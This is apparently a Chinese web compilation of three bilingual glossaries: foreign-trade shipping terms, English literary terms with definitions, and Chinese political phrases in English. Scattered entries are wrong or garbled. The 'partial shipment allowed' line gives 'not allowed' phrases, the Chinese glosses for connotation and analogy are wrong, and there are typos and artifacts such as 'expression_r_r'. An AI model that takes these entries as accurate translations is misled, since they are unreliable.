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外贸中有许多专业的外贸术语,只有学会这些术语,才能更好的进行外贸业务。今天读文网小编为大家整理了外贸术语解释大全,希望能对你有帮助!
交货delivery
轮船steamship(缩写S.S)
装运、装船shipment
租船charter (the chartered shep)
交货时间 time of delivery
定程租船voyage charter;
装运期限time of shipment
定期租船time charter
托运人(一般指出口商)shipper,consignor
收货人consignee
班轮regular shipping liner
驳船lighter
舱位shipping space
油轮tanker
报关clearance of goods
陆运收据cargo receipt
提货to take delivery of goods
空运提单airway bill
正本提单original BL
选择港(任意港)optional port
选港费optional charges
选港费由买方负担 optional charges to be borne by the Buyers
或 optional charges for Buyers' account
一月份装船 shipment during January 或 January shipment
一月底装船 shipment not later than Jan.31st.或shipment on or before Jan.31st.
一/二月份装船 shipment during Jan./Feb.或 Jan./Feb. shipment
在......(时间)分两批装船 shipment during....in two lots
在......(时间)平均分两批装船 shipment during....in two equal lots
分三个月装运 in three monthly shipments
分三个月,每月平均装运 in three equal monthly shipments
立即装运 immediate shipments
即期装运 prompt shipments
收到信用证后30天内装运 shipments within 30 days after receipt of L/C
允许分批装船 partial shipment not allowed partial shipment not permitted partial shipment not unacceptable
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下面是读文网小编整理的一些英美文学术语大全,欢迎大家阅读!
1.Atmosphere (氛围)
The prevailing mood or feeling of a literary work.
2. Autobiography (自传)
A person‘s account of his or her own life.
3. Ballad (民谣)
A narrative poem in short stanzas, with or without music,often of folk origin and intended to be sung. The term derives by way of French ballade from Latin ballare, "to dance," and once meant a simple song of any kind, lyric or narrative, especially one to accompany a dance. As ballads evolved, most lost their association with dance, although they kept their strong rhythms. Modern usage distinguishes three major kinds: the anonymous traditional ballad (popular ballad or folk ballad), transmitted orally; the broadside ballad, printed and sold on single sheets; and the literary ballad (or art ballad), a sophisticated imitation of the traditional ballad.
4. Ballad Stanza (民谣诗节)
A type of four-line stanza, the first and the third lines have four stressed words or syllables; the second and fourth lines have three stresses.
5. Biography (传记)
A detailed account of a person‘s life written by another person.
传记:由他人篆写的关于某人生平的详细记录。
6. Antithesis (对仗)
The balancing of two contrasting ideas, words, or sentences.
对仗:两组相对的思想,言辞,词句的平衡。
7. Aphorism (警句)
A concise, pointed statement expressing a wise or clever observation about life.
警句:蕴含关于人生真理的明智的看法的精练的语句。
8. Aside (旁白)
A piece of dialogue intended for the audience and supposedly not heard by other actors on stage.
旁白:只说给观众而认为不会让台上其他演员听到的一段对话。
9.Apostrophe (呼语)
The direct address of an absent or imaginary person or of a personified abstraction, especially as a digression in the course of a speech or composition.
呼语:直接称呼不在场或虚构的人物或称呼拟人的事物,尤指作为演讲或作文过程中的离题话。
10.Assonance (类韵)
The repetition of similar vowel sounds, especially in poetry.
类音,类韵:相同或相似元音的重复,尤其指在诗歌中的重复。
11.Allegory (寓言)
A tale in verse or prose in which characters, actions, or settings represent abstract ideas or moral qualities.
A story suggests another story. An allegory is present in literature whenever it is clear that the author is saying, "By this I also mean that." In practice, allegory appears when a progression of events or images suggests a translation of them into conceptual language. Allegory is thus a technique of aligning imaginative constructs, mythological or poetic, with conceptual or moral models. During the Romantic era a distinction arose between allegory and symbol. With Coleridge, symbol took precedence: "an allegory is but a translation of abstract notions into picture-language," but "a symbol always partakes of the reality which it makes intelligible."
寓言,讽喻:一种文学、戏剧或绘画的艺术手法,其中人物和事件代表抽象的观点、原则或支配力。
12.Alliteration (头韵)
Alliteration is the repetition of the same initial consonant sound within a line or a group of words.Alliteration is thus the opposite of rhyme, by which the similar sounds occur at the ends of the syllables.
头韵:在一组词的开头或重读音节中对相同辅音或不同元音的重复。
13.Allusion (典故)
A reference to a person, a place, an event, or a literary work that a writer expects the reader to recognize and respond to.
典故:作者对某些读者熟悉并能够作出反映的特定人物,地点,事件,文学作品的引用。
14.Analogy (类比)
A comparison made between two things to show the similarities between them.
类比:为了在两个事物之间找出差别而进行的比较。
15. Antagonist (反面主角)
The principal character in opposition to the protagonist or hero or heroine of a narrative or drama.
反面主角:叙事文学或戏剧中与男女主人公或英雄相对立的主要人物。
16.Blank Verse (无韵体诗)
Verse written in Unrhymed iambic pentameter. See also Meter. In the 1540s Henry Howard, Earl of Surrey, seems to have originated it in English as the equivalent of Virgil's unrhymed dactylic hexameter. In Gorboduc (1561), Thomas Sackville and Thomas Norton introduced blank verse into the drama, whence it soared with Marlowe and Shakespeare in the 1590s. Milton forged it anew for the epic in Paradise Lost (1667).
17. Caesura (休止)
A break or pause in a line of poetry.
18. Canto (章)
One of the principal divisions of a long poem..
诗章:一首长诗的主要部分之一。
19. Caricature (夸张讽刺)
The use of exaggeration or distortion to make a figure appear comic or ridiculous.
夸张讽刺:为了使文中的人物显得可笑而使用的夸张或扭曲人物形象的手法。
20. Characterization (人物刻画)
The means by which a writer reveals the personality of a character.
人物刻画:作者表现作品中人物性格的方法。
21. Classicism (古典主义)
A movement or tendency in art, literature, or music that reflects the principles manifested in the art of ancient Greece and Rome.
古典主义:一种在文学,艺术,音乐领域体现古代希腊,罗马风格的运动。
22. Climax (高潮)
The point of greatest intensity, interest, or suspense in a narrative.
23. Comedy (喜剧)
A dramatic work that is often humorous or satirical in tone and usually contains a happy resolution of the thematic conflict.
喜剧:轻松的和常有幽默感的或在调子上是讽刺的戏剧作品,常包括主题冲突的愉快解决
24. Conceit (奇想)
A kind of metaphor that makes a comparison between two startlingly different things. Any fanciful, ingenious expression_r_r or idea, especially one in the form of an extended metaphor.
奇想:一种在截然不同的事物之间建立起的比喻。
25. Conflict (冲突)
A struggle between two opposing forces or characters in a short story, novel, play, or narrative poem.
冲突:故事,小说,戏剧中相对的力量和人物之间的对立。
26. Connotation (外延)
All the emotions and associations that a word or phrase may arouse.
外延:包括单词字面意思之外的或被该词汇唤起的全部内涵的意义。
27. Consonance (辅音韵)
The repetition of consonants or a consonant pattern, especially at the ends of words.
辅音韵:辅音或辅音模式的重复,尤指位于词尾的。
28. Couplet (双韵体)
A unit of verse consisting of two successive lines, usually rhyming and having the same meter and often forming a complete thought or syntactic unit.
双韵体:包括两个相连的诗行的一种诗的单位,通常压韵并具有同样的格律,经常组成一个完整的意思和句法单位
29. Heroic couplet (英雄双韵体)
A couplet written in iambic pentameter is called a heroic couplet.
英雄双韵体:五步抑扬格的双韵体称英雄双韵体。
30. Denotation (内涵)
The literal or dictionary meaning of a word.
直接意义:一个词的字面意义或词典意义。
31. Denouement (结局)
The final resolution or clarification of a dramatic or narrative plot.
结局:戏剧或叙事场景的最后结果。
32. Diction (措辞)
A writer‘s choice and use of words in speech or writing, particularly for clarity, effectiveness, and precision.
措词:讲话或书写中,出于表述清晰,言简意赅对词语的使用或选择。
33. Dissonance (不协和)
A harsh or disagreeable combination of sounds; discord.
34. Dramatic monologue (戏剧独白)
A kind of narrative poem in which one character speaks to one or more listeners whose replies are not given in the poem.
35. Elegy (挽歌)
A poem or song composed especially as a lament for a deceased person.
挽歌,挽诗:专门为悼念某一死者所写的诗或歌.
36. Emblematic Image (象征)
A verbal picture of figure with a long tradition of moral or religious meaning attached to it.
37. Epic (史诗)
An extended narrative poem in elevated or dignified language, celebrating the feats of a legendary or traditional hero and of reflecting the values of the society from which it originated. Many epics were drawn from an oral tradition and were transmitted by song and recitation before they were written down. Later on this literary genre was written down by the poets, such as Paradise Lost, Paradise Regained. Two of the greatest epics are Homer’s Iliad and Odyssey. While in British literary history, the national epic is Beowulf. During the Renaissance, critical theory emphasized two assumptions:
史诗:用严肃或庄重的语言写成的叙事长诗,歌颂传奇中或历史上英雄的丰功伟绩
38. Epigram (隽语)
A concise, clever, often paradoxical statement, susally in the form of a poem.
隽语:一个简明,机智,常常似是而非的陈述,经常以诗的形式出现
39. Epigraph (引语/开场白)
A motto or quotation at the beginning of a literary composition, setting forth a theme.
引语:在一部文学作品开头的引言,警句,阐明主题
40. Epilogue (结语/收场白)
A short addition or concluding section at the end of a literary work, often dealing with the future of its characters. Also called In this sense, also called afterword
结语:文学作品结束时简短的附加或总结性章节,常常关于作品人物的未来也作 在此意义上也可称作 afterword.
41. Epiphany(顿悟)
A moment of illumination, usually occurrs at or near the end of a work.
顿悟:对现实真谛的顿悟或洞察,通常出现在作品的结尾.
42. Epitaph(墓志铭)
An inscription on a tombstone or in a short poem in memory of someone who has been dead.
墓志铭:刻于墓碑上用以怀念死者的碑铭.
43. Epithet (表述词语)
A term used to characterize a person or thing。
表述词语:用来表示某人某物特性的一个表达。
44. Essay (散文)
A short literary composition on a single subject, usually presenting the personal view of the author.
散文:内容通常论及一个主题的短小文章,通常表达作者个人的观点
45. Exemplum (说教故事)
A tale, usually inserted into the text of a sermon, that illustrates a moral principle.
说教故事:一种短小的体现某种道德原则的故事性文章,通常出现在布道文中。
46. Fable (寓言)
A brief story that is told to present a moral, or practical lesson.
寓言:一种体现某种道德观念或实用价值的说教性文章。
47. Farce (轻喜剧)
A kind of comedy based on a ridiculous situation, often with stereotyped characters.
轻喜剧: 一种以可笑的情节的为基础的喜剧,通常包含固定的角色。
48. Figurative Language (象征性语言)
Language that is not intended to be interpreted in a literal sense.
象征性语言:不能直接用字面意义来理解的语言。
49. Figure of Speech (比喻)
A word or an expression that is not meant to be interpreted in literal sense.
比喻:不能直接按照字面意义理解的词语或表述方法。
50. Flashback(倒叙)
A literary device in which an earlier event is inserted into a narrative.
倒叙,闪回镜头:一种文学或电影的表现手法,往往在一段按正常时间顺序记叙的叙事中插入一件以前发生过的事情
51. Foil (陪衬)
A character who sets off another character by contrast.
陪衬:用来反衬其他人物的人物。
52. Foreshadowing (铺垫)
The use of hints or clues in a narrative to suggest what will happen later.
铺垫:用来预示将要发生的事情的线索或暗示。
53. Free verse (自由诗体)
Verses that has neither a metrical pattern or an regular pattern.
自由诗体:既不具格式韵律又不具常规格律的诗体。
54. hyperbole (夸张法)
A figure of speech in which exaggeration is used for emphasis or effect
夸张法:一种比喻,使用夸张来强调或产生某种效果。
55. Iambic pentameter (五步抑扬格)
A poetic line consisting of five verse feet, with each foot an iamb--that is, an unstressed syllable followed by a stressed syllable.
五步抑扬格:一种诗句形式,每行诗句包含五个抑扬格音步。
56. Imagery(意象)
Words or phrases that create pictures, or images, in readers‘ mind.
意象:用来在读者的思维中唤起某种图示或形象的词汇。
57. Incremental repetition (递进重复)
The repetition of a previous line or lines, but with a slight variation each time that advances the narrative stanza by stanza.
递进重复:诗歌中对上文中一行或几行的重复,但每次重复都有一定的变化,而且每一节的重复中的叙述都有所强化。
58. Inversion (倒装句)
The technique of reversing, or inverting the normal word order of a sentence.
倒装句:一种将句子正常的表达方法倒置的技巧。
59. Invocation (开篇祷告)
A call to a muse, god or spirit for inspiration at the beginning of an epic or other poem.
开篇祷告:在史诗或诗歌的开篇企求神灵给予启示的文字。
60. Irony (反语)
A contrast between what is stated and what is really meant, or between what is expected to happen and what actually happened.
反语:一种建立在字面表述和真实意义上或期待产生的结果和真实的结果之间的对比。
61.Kenning (隐喻语)
A figurative, usually compound expression used in place of a name or noun, especially in Old English and Old Norse poetry. for example, storm of swords is a kenning for battle.
隐喻语:尤指古英语和古斯堪的纳维亚语诗中,一种比喻性的,在表名字或名词时常用的复合表达方式,如“剑的风暴” 是 “战争” 的隐喻语
62. Lyric (抒情诗)
A poem, usually a short one, that expresses a speaker‘s personal thoughts or feelings.
抒情诗:一种用来抒发作者感情或思想的短诗。
63. Masque (假面剧)
A dramatic entertainment, usually performed by masked players representing mythological or allegorical figures, that was popular in England in the 16th and early 17th centuries.
假面剧:一种戏剧性娱乐,由代表神话或寓言中人物的佩戴面具者表演,该娱乐形式在16世纪和17世纪早期的英国很流行.
64. Melodrama (情节剧)
A drama that has stereotyped characters, exaggerated emotions, and a conflict that pits an all-good hero or heroine against an all-evil villain.
65. Metaphor (隐喻)
A figure of speech in which a word or phrase that ordinarily designates one thing is used to designate another, thus making an implicit comparison.
隐喻:一种语言表达手法,通常用指某物的词或词组来指代他物,从而暗示它们之间的相似之处.
66.Metaphysical Poetry (玄学派诗歌)
The poems of 17th-century English poets, whose verse is characterized by an intellectually challenging style and extended metaphors comparing very dissimilar things.It is also featured by verbal wit and excess, ingenious structure, irregular meter, colloquial language, elaborate imagery, and a drawing together of dissimilar ideas.
玄学派诗歌:17世纪英国诗人的诗歌,这种诗歌的特点是风格极具智慧,引人深思,善用引申的暗喻来对比极其不同的事物.
67. Meter (格律)
A generally regular pattern of stressed and unstressed syllables in poetry.
格律:诗歌中通常的重读音节和非重读音节的排列模式。
68. Metonymy (转喻)
A figure of speech in which one word or phrase is substituted for another with which it is closely associated.
转喻:一种一个词或词组被另一个与之有紧密联系的词或词组替换的修辞方法.
69. Mock epic (讽刺史诗)
A comic literary from that treats a trivial subject in the grand, heroic style of the epic.
讽刺史诗:一种用史诗的宏大风格来描写微不足道的事情的喜剧形式。
70. Motif (主旨)
A recurrent thematic element in an artistic or literary work.
主题:艺术品或文学作品中反复体现的、揭示主题的部分。
71. Motivation (动机)
The reasons, either stated or implied, for a character‘s behavior.
动机: 引发作品中人物行为的理由。
72. Myth (神话)
A story, often about immortals and sometimes connected with religious rituals, that is intended to give meaning to the mysteries of the world.
神话:一种解释世界上的神秘现象的关于神灵或同宗教仪式有联系的故事。
73. Narrative Poem (叙事诗)
A poem that tells a story.
叙事诗:讲述一个故事的诗歌。
74. Narrator (叙述者)
One who narrates or tells a story.
叙述者:讲述或叙述一个故事的人。
75. Naturalism (自然主义)
The practice of describing precisely the actual circumstances of human life in literature, it is the extreme form of realism.
自然主义:在文学中精确地描述人类现实环境的实践,现实主义的最高表现形式。
76. Neoclassicism (新古典主义)
A revival in literature in the late 17th and 18th centuries, characterized by a regard for the classical ideals of reason, form, and restraint styles.
新古典主义:17、18世纪晚期的文学复兴,以尊重古代典型的推理形式和严谨文体为特征
77. Novel (小说)
A book length fictional prose narrative, having many characters and often a complex plot.
小说:虚构的叙述性文章,有一定长度,较多的人物,和思想复杂的情节。
78. Octave (八行诗)
An eight-line poem or stanza.
79. Ode (颂)
A complex and often lengthy lyric poem, written in a dignified formal style on some lofty or serious subject.
颂:一种复杂的,具有一定长度的诗歌,通常以高贵的风格写成,用来表述一些高尚或严肃的主题。
80. Onomatopoeia (拟声)
The formation or use of words by imitating the sounds associated with the objects or actions they refer to.
拟声:通过模仿事物或行动的声音构词的方法。
81. Oxymoron (矛盾修饰法)
A rhetorical figure in which combines or contradictory terms are combined, as in a deafening silence and a mournful optimist.
矛盾修饰法:一种把互相矛盾或不调和的词合在一起的修辞手法,如在"震耳欲聋的沉默"和"悲伤的乐观"
82. Paradox (似非而是)
A statement that reveals a kind of truth, although it seems at first to be self-contradictory and untrue./An apparently untrue or self-contradictory statement or circumstance that proves true upon reflection or when examined in another light.
似非而是:一种在字面上看起来自相矛盾,却体现着一定的真理的说法。
83. Parallelism (并行)
The use of phrases, clauses, or sentences that are similar or complementary in structure or in meaning.
并行:结构或意义相近的词汇,子句,句子的并用。
84.Parody (模仿诗文)
A humorous imitation of a work of art for comic effect or ridicule./Originally, "a song sung beside" another. From this idea of juxtaposition arose the two basic elements of parody, comedy and criticism. As comedy, parody exaggerates or distorts the prominent features of style or content in a work. As criticism, it mimics the work, borrowing words or phrases or characteristic turns of thought in order to highlight weaknesses of conception or expression_r_r.
模仿诗文:一种为取得喜剧或嘲讽效果,而对某一艺术作品进行的滑稽模仿。
85. Pastoral (田园诗)
A kind of poem, that deals in an idealized way with shepherds and rustic life.
田园诗:一种用理想的手法来体现牧羊人的乡村生活的诗歌。
86. Pathos (悲怅)
The quality in a work of literature or art that arouses the reader‘s feelings of pity, sorrow, or compassion for a character.
悲怅:文学艺术作品的一种引发读者怜悯,同情或伤感的特质。
87. Personification (拟人)
A figure of speech in which inanimate objects or abstractions are endowed with human qualities or are represented as possessing human form./The technique of treating abstractions, things, or animals as persons. A kind of metaphor, personification turns abstract ideas, like love, into a physical beauty named Venus, or conversely, makes dumb animals speak and act like humans.
拟人:给无生命的东西或者抽象的东西赋予人的个性或绘以人的形象.
88. Plot (情节)
The plan of events or main story in a novel, narrative or drama.
情节:在小说,故事,或戏剧中事件的概要或主要故事.
89. Point of view (视角)
A point from which an author presents a story.
视角:作者阐述故事的角度。
90. protagonist (主角)
The main character in a drama or other literary work.
主角:戏剧或其他文学作品中的主要人物.
91. Psalm (赞美诗)
A song or lyric poem in praise of God.
赞美诗:用来颂扬上帝的诗歌或抒情诗。
92. Pun (双关语)
The use of a word or phrase to suggest two or more meanings at the same time.
双关语:用一个词来同时表示两个内涵。
93. Quatrain (四行诗)
A stanza or poem of four lines.
94. Realism (现实主义)
The representation in art or literature of objects, actions, or social conditions as they actually are, without idealization or presentation in abstract form./The theory that reason, rather than revelation or authority, provides knowledge, truth, the choice of good over evil, and an adequate understanding of God and the universe.
现实主义:在艺术或文学中将事物,行为或社会状况按其起初情况进行的表现,而不用模糊的形式来表现或理想化
95. Refrain (副句)
A phrase, verse, or group of verses repeated at intervals throughout a song or poem, especially at the end of each stanza.
副句,副歌:一个短语、一句诗或一组诗句在一首歌或诗中每隔一段重复一次, 尤其在每个诗节的结尾处
96. Rhyme (压韵)
The repetition of sounds in two or more words or phrases that appear close to each other in a poem. /(sometimes Rime, an older spelling) The effect created by matching sounds at the ends of words. The functions of rhyme are essentially four: pleasurable, mnemonic, structural, and rhetorical. Like meter and figurative language, rhyme provides a pleasure derived from fulfillment of a basic human desire to see similarity in dissimilarity, likeness with a difference.
压韵:音在两个或两个以上的词汇或短语中的重复。
97. Rhythm (格律)
The arrangement of stressed and unstressed syllables into a pattern.
重读音节和非重读音节的固定排列模式。
98. Romance (传奇故事)
An imaginative literature that is set in an idealized world and that deals with heroic adventures and battles between good and devil.
传奇故事:设定在想象世界中的以英雄冒险和善恶之间的斗争为题材的文学作品。
99. Romanticism (浪漫主义)
An artistic and intellectual movement originating in Europe in the late 18th century which emphasis on the individual‘s expression of emotion and imagination, departure from the attitudes and forms of classicism.
浪漫主义:起源于18世纪末期欧洲的一种注重个人情感和想象力的表达的艺术和知识上的运动,它与古典主义的观点和形式相悖.
100. Satire (讽刺文)
A kind of writing that holds up to ridicule or contempt the weakness and wrongdoings of individuals, institutions or humanity in general./Poking corrective ridicule at persons, types, actions, follies, mores, and beliefs
讽刺:一种讽刺个人,习俗或人性中的缺点或错误的文体。
101. Scansion(韵律分析)
The analysis of verse into meter patterns.
韵律分析:将诗划分成音步的分析方法。
102.Sestet (六行诗)
A six-line poem or stanza.
103. Setting (背景)
The time, place, and circumstances in which a narrative, drama, or novel takes place.
背景:记叙文、戏剧或小说发生的时间、地点和环境.
104. Simile (明喻)
A comparison made between two things through the use of a specific word of comparison.
明喻:两种事物之间借助于比喻词汇进行的比较。
105. Soliloquy (独白)
A dramatic or literary form of discourse in which a character reveals a character‘s thoughts when alone or unaware of the presence of other characters.
独白:一种戏剧或文学的说话形式,其中某角色在独自一人或不知道其他角色存在的情况下展示角色的思想。
106. Song (歌)
A short lyric poem with distinct musical qualities, normally written to be set to music.
歌:一种具有典型的音乐特征的抒情诗体,通常为谱曲而作。
107. Sonnet (十四行诗)
A 14-line verse form usually written in iambic pentameter.
十四行诗:一种由十四行组成的诗歌形式,通常以五步抑扬格为押韵形式。
108. Spenserian Stanza (斯宾塞诗体)
A nine line stanza with the following rhyme scheme ababbcbcc.
109. Stream of consciousness (意识流)
The style of writing that attempts to imitate the natural flow of a character‘s thoughts, feelings reflections, and mental images as the character experiences them.
意识流:一种模仿作品中人物思想,思维,精神活动的自然过程的写作技巧。
110.Style(风格)
An author‘s characteristic way of writing ,determined by the choice of words, the arrangement of words in sentences, and the relationship of sentences to one and another.
风格:由词汇的选择,句子中词汇的安排,句子之间的关系形成的某一作家的特定的写作方式。
111. Suspense (悬念)
The quality of a story, novel, or drama that makes readers uncertain or tense about the outcome of events.
悬念:小说,故事,戏剧所具有的使读者对结局产生不安或紧张的感觉的特质。
112. Symbol (象征)
Any object, person, place, or action that has a meaning in itself and also stands for something larger than itself, such as a quality, attitude, or belief.
象征:本身具有意义,用来体现高于自身意义的思想的,观点的人,物,行为,地点。
113. Symbolism (象征主义)
A literary movement in the late19th century, characterized by the use of symbols to represent things.
象征主义:十九世纪的一种文学潮流,运用象征来体现事物。
114. Synecdoche (提喻法)
A figure of speech in which a part is used for the whole.
提喻法:一种以局部代表整体的修辞方法。
115. Terza rima (三行体)
An Italian verse form consisting of a series of three line stanzas in which the middle line of each stanza rhymes with the first and the third lines of the following stanza.(aba bcb cde, ect.)
116. Theme (主题)
The general idea or insight about life that a writer wishes to express in a literary work.
作者在作品中表现的对于生活的总的观点或看法。
117.Tone (调子)
The attitude a writer takes toward his or her subject, characters, or audience.
调子:作者对于作品的主题,人物和读者所持的态度。
118. Tragedy (悲剧)
In general, a literary work in which the protagonist meets an unhappy or disastrous end.
悲剧:以主人公可悲的或灾难性的结局结束的故事。
119.Wit (睿智)
A brilliance and quickness of perception combined with a cleverness of expression.
睿智:巧妙的思维和睿智的表达的结合。
120.Exposition (评注)
The part of a narrative or drama, in which important background information is revealed.
评注:记叙文章或戏剧中向读者介绍主要的背景情况的部分。
121. Sentimentalism
Sentimentalism originated in the 18th century, and was a direct reaction against the cold, hard commercialism and rationalism that had dominated people’s life since the last decades of the 17th century. Besides, it seemed to have appeared hand in hand with the rise of realistic English novel. Sentimentalism often relates to sentimentality and sensibility in some literary works such as Richardson’s Pamela; Goldsmith’s The Vicar of Wakefield; Sterne’s A Sentimental Journey through France and Italy. In Poetry, we have Thomas Gray’s “An Elegy Written in a Country Churchyard”, Goldsmith’s “The Deserted Village”, and Cowper’s “Task”, not mention the various odes of sensibility which flourished in the later half of the century.
122. Humanism
Humanism refers to the main literary trend and is the keynote of English Renaissance. Humanists took interest in human life and human activities and gave expression_r_r to the new feeling of admiration for human beauty, human achievement.
123. Renaissance
It is a cultural movement of the rising bourgeoisie. The key word for it is humanism, which emphasizes the belief in human beings, his environment and doings and his brave fight for the emancipation of man from the tyranny of the church and religious dogmas. It originally indicates a revival of classical arts and learning after the dark ages of medi obscurantism. Its aim is to get rid of those old feudalist ideas in medi time and introduce new ideas that express the interests of the rising bourgeoisie. Shakespeare, Spenser, and Marlowe are all famous literary figures in this period.
124. Enlightenment
Enlightenment is a progressive intellectual movement, which swept over England and other lands in Western Europe in the 18th century. Enlightenment freed and reformed the thinking of man. Enlighteners strove to clear away the feudal remnants and replace them by bourgeois ideologue.
125. Run-on Line
A line of poetry whose sense does not stop at the end, with punctuation, but runs on to the next line.
126. End Rhyme
Rhyme at the end of a line of verse (the usual placement), as distinguished from initial rhyme, at the beginning, or internal rhyme, within the line.
127. Foot
The metrical unit; in English, an accented syllable with accompanying light syllable or syllables.
128. Genre
A term often applied loosely to the larger forms of literary convention, roughly analogous to "species" in biology. The Greeks spoke of three main genres of poetry-lyric, epic, and drama. Within each major genre, there are sub-genres. In written forms dominated by prose, for example, there is a broad distinction between works of fiction (e.g., the novel) and thematic works (e.g., the essay). Within the fictional category, we note a distinction between novel and romance, and other forms such as satire and confession. The object of making these distinctions in literary tradition is not simply to classify but to judge authors in terms of the conventions they themselves chose.
129. Humor
A humor is a theory used by Ben Jonson in his play writing. A humor, according to the physiology and the psychology of the time, was one of the liquid constituents of the body, each of which had its peculiar emotional propensity. Every character in Jonson’s comedies personifies a definite humor, so his characters are like caricatures.
130. Internal Rhyme
Rhyme within a line, rather than at the beginning (initial rhyme) or end (end rhyme); also, rhyme matching sounds in the middle of a line with sounds at the end.
131.Cavalier Poets
Cavalier poets were often courtiers who stood on the side of the king, and called themselves “sons” of Ben Jonson. The Cavalier poets wrote light poetry, polished and elegant, amorous and gay, but often superficial. They mostly dealt in short songs on the flitting joys of the day, but underneath their light-heartedness lays some foreboding of impending doom. This spirit of pessimism and cynicism is typical of the aristocratic class in decline.
132.Platoism
Any reflection of Plato's philosophy, particularly the belief in the eternal reality of ideal forms, of which the diversities of the physical world are but transitory shadows.
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下面是读文网小编整理的一些政治专业英语术语大全,希望对大家有帮助。
1. 马列主义、毛泽东思想、邓小平理论、“三个代表”重要思想
Marxism-Leninism, Mao Zedong Thought, Deng Xiao-ping Theory, Jiang Zemin “ThreeRepresent’s”important Thought
2. 新民主主义革命
new-democratic revolution
3. 民族独立和人民解放
national independence and the liberation of thepeople
4. 经济体制改革和政治体制改革
reforms in the economic and political structure
5. 社会主义制度
socialist system
6. 社会变革
social transformation
7. 建设有中国特色的社会主义事业
the cause of building socialism with Chinesecharacteristics
8. 中华民族的伟大复兴
the great rejuvenation of the Chinese nation
9. 党在社会主义初级阶段的基本理论、基本路线、基本纲领
the basic theory, line and program of our Party in the primary stage of socialism
10. 改革开放政策
the policies of reform and opening to the outside
11. 中国共产党十一届三中全会
The Third Plenary Session of the 11th CentralCommittee of the Communist Party of China
12. 马克思主义政党
Marxist political Party
13. 党的第一(第二、第三)代中央领导集体
the collective leadership of the Party CentralCommittee of the first (second/third)generation
14. 人民民主专政
the people’s democratic dictatorship
15. 国民经济体系
national economic system
16. 综合国力
aggregate national strength
17. 国内生产总值
the annual gross domestic product(GDP)
18. 独立自主的和平外交政策
an independent foreign policy of peace
19. 马克思主义基本原理同中国具体实际相结合
the fundamental principles of Marxism with thespecific situation in China
20. 加强和改进党的建设,不断增强党的创造力、凝聚力和战斗力,永葆党的生机与活力
strengthen and improve Party building, continuously enhance the creativity, rallying powerand combat capability of the Party, and always maintain its vigor and vitality
21. “三个代表”就是必须代表中国先进生产力的发展要求,代表中国先进文化的前进方向,代表中国最广大人民的根本利益,是我们党的立党之本、执政之基、力量之源,是我们党始终站在时代前列,保持先进性的根本体现和根本要求。
“Three Represent’s” shows that our Party must always represent the requirements of thedevelopment of China’s advanced productive forces, the orientation of the development ofChina’s advanced culture, and the fundamental interests of the overwhelming majority ofthe people in China, they are the foundation for building the Party, the cornerstone for itsexercise of state power and a source of its strengthen,only by doing so can we really ensurethat our Party always stand in the forefront of the time and maintain its advanced nature
22. 工人阶级的先锋队
the vanguard of the working class
23. 生产力、生产关系、经济基础、上层建筑
productive force, relation of production, economicbase, superstructure constitute
24. 科学技术是第一生产力
science and technology are the primary productiveforce
25. 社会主义物质文明和精神文明
material and spiritual civilizations of socialism
26. 有理想、有道德、有文化、有纪律的公民
citizens with lofty ideals, moral integrity, better education and good sense of discipline
独立自主、完全平等、相互尊重、互不干涉内部事务
independence, completely equality, mutual respectand non-interference in each other's internalaffairs
世界贸易组织、关贸总协定
World Trade Organization /The General Agreement ofTariff and Trade
亚太经合组织
Asia Pacific Economic Cooperation
世贸中心
World Trade Center
恐怖主义
terrorism
"台独"
taiwan's "independence"
和平与发展
peace and development
冷战
cold war
世界多极化、经济全球化
world multi-polarization and economic globalization
联合国宪章
UN Charter
自立意识、竞争意识、效率意识、民主法制意识和开拓创新意识
self-reliance, competition, efficiency,democracy, the legal system, and the pioneeringand innovative spirit
依法治国和以德治国
the rule of law and the rule of virtue
科教兴国战略
the strategy of invigorating the country throughscience and education
倡导爱国主义、集体主义、社会主义思想,反对和抵制拜金主义、享乐主义、极端个人主义等腐朽思
advocate patriotism, collectivism and socialism, combat and resist moneyworship,hedonism, ultra-egoism decadent ideas
先天下之忧而忧,后天下之乐而乐
be concern about the country and the people before anything else
全心全意为人民服务、立党为公、执政为民
serve the people heart and soul, work for the publicand assumes power for the people
解放思想、实事求是
emancipating the mind, seeking truth from the facts
主观主义、形而上学
subjectivism, metaphysics
民主集中制、党内民主
democratic centralism, inner-Party democracy
集体领导、民主集中、个别酝酿、会议决定
collective leadership, democratic centralism, case-specific consultation, decision throughmeeting
以权谋私、贪赃枉法、腐败分子
to abuse power for personal gains, take bribes orbend the law, corrupt elements
小康社会、小康生活
well-to-do society, well-to-do life
四项基本原则
Four Cardinal Principles
社会主义初级阶段
the primary stage of socialism
“政治合格、军事过硬、作风优良、纪律严明、保障有力”
"gualified politically and competent militarily and that have a fine style of work, strictdiscipline and adequate logistic support"
政治路线确定之后,干部就是决定因素
cardres are a decisive factor, once a political line isdecided
党管干部的原则
the principle of the Party assuming theresponsibility for cardres' affairs
公开、平等、竞争、择优
open, fair, competition, basis of merits
公开选拔、竞争上岗
the upervision of appointment and promotion of officials, and the method for officialperformance assessment
自重、自省、自警、自励
self-discipline, self-examination, self-caution and self-motivation
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